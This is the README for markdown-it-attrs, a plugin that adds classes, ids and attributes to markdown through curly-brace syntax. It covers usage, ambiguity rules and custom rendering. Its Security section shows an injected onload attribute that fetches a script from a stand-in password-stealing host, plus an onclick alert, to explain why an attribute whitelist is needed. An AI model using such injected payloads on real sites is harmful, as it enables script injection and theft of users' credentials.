markdown-it-attrs
Add classes, identifiers and attributes to your markdown with {.class #identifier attr=value attr2="spaced value"}
curly brackets, similar to pandoc's header attributes.
Example input:
# header {.style-me}
paragraph {data-toggle=modal}
Output:
<h1 class="style-me">header</h1>
<p data-toggle="modal">paragraph</p>
Works with inline elements too:
paragraph *style me*{.red} more text
Output:
<p>paragraph <em class="red">style me</em> more text</p>
And fenced code blocks:
```python {data=asdf}
nums = [x for x in range(10)]
```
Output:
<pre><code data="asdf" class="language-python">
nums = [x for x in range(10)]
</code></pre>
You can use ..
as a short-hand for css-module=
:
Use the css-module green on this paragraph. {..green}
Output:
<p css-module="green">Use the css-module green on this paragraph.</p>
Install
$ npm install --save markdown-it-attrs
Usage
var md = require('markdown-it')();
var markdownItAttrs = require('markdown-it-attrs');
md.use(markdownItAttrs, {
// optional, these are default options
leftDelimiter: '{',
rightDelimiter: '}',
allowedAttributes: [] // empty array = all attributes are allowed
});
var src = '# header {.green #id}\nsome text {with=attrs and="attrs with space"}';
var res = md.render(src);
console.log(res);
Security
A user may insert rogue attributes like this:
![](img.png){onload=fetch('https://imstealingyourpasswords.com/script.js').then(...)}
If security is a concern, use an attribute whitelist:
md.use(markdownItAttrs, {
allowedAttributes: ['id', 'class', /^regex.*$/]
});
Now only id
, class
and attributes beginning with regex
are allowed:
text {#red .green regex=allowed onclick=alert('hello')}
Output:
<p id="red" class="green" regex="allowed">text</p>
Ambiguity
When class can be applied to both inline or block element, inline element will take precedence:
- list item **bold**{.red}
Output:
<ul>
<li>list item <strong class="red">bold</strong></li>
<ul>
If you need the class to apply to the list item instead, use a space:
- list item **bold** {.red}
Output:
<ul>
<li class="red">list item <strong>bold</strong></li>
</ul>
If you need the class to apply to the <ul>
element, use a new line:
- list item **bold**
{.red}
Output:
<ul class="red">
<li>list item <strong>bold</strong></li>
</ul>
If you have nested lists, curlys after new lines will apply to the nearest <ul>
or <ol>
. You may force it to apply to the outer <ul>
by adding curly below on a paragraph by its own:
- item
- nested item {.a}
{.b}
{.c}
Output:
<ul class="c">
<li>item
<ul class="b">
<li class="a">nested item</li>
</ul>
</li>
</ul>
This is not optimal, but what I can do at the momemnt. For further discussion, see https://github.com/arve0/markdown-it-attrs/issues/32.
If you need finer control, decorate might help you.
Custom rendering
If you would like some other output, you can override renderers:
const md = require('markdown-it')();
const markdownItAttrs = require('markdown-it-attrs');
md.use(markdownItAttrs);
// custom renderer for fences
md.renderer.rules.fence = function (tokens, idx, options, env, slf) {
const token = tokens[idx];
return '<pre' + slf.renderAttrs(token) + '>'
+ '<code>' + token.content + '</code>'
+ '</pre>';
}
let src = [
'',
'```js {.abcd}',
'var a = 1;',
'```'
].join('\n')
console.log(md.render(src));
Output:
<pre class="abcd"><code>var a = 1;
</code></pre>
Read more about custom rendering at markdown-it.
Custom blocks
markdown-it-attrs
will add attributes to any token.block == true
with {}-curlies in end of token.info
. For example, see markdown-it/rules_block/fence.js which stores text after the three backticks in fenced code blocks to token.info
.
Remember to render attributes if you use a custom renderer.
Custom delimiters
To use different delimiters than the default, add configuration for leftDelimiter
and rightDelimiter
:
md.use(attrs, {
leftDelimiter: '[',
rightDelimiter: ']'
});
Which will render
# title [.large]
as
<h1 class="large">title</h1>
License
MIT © Arve Seljebu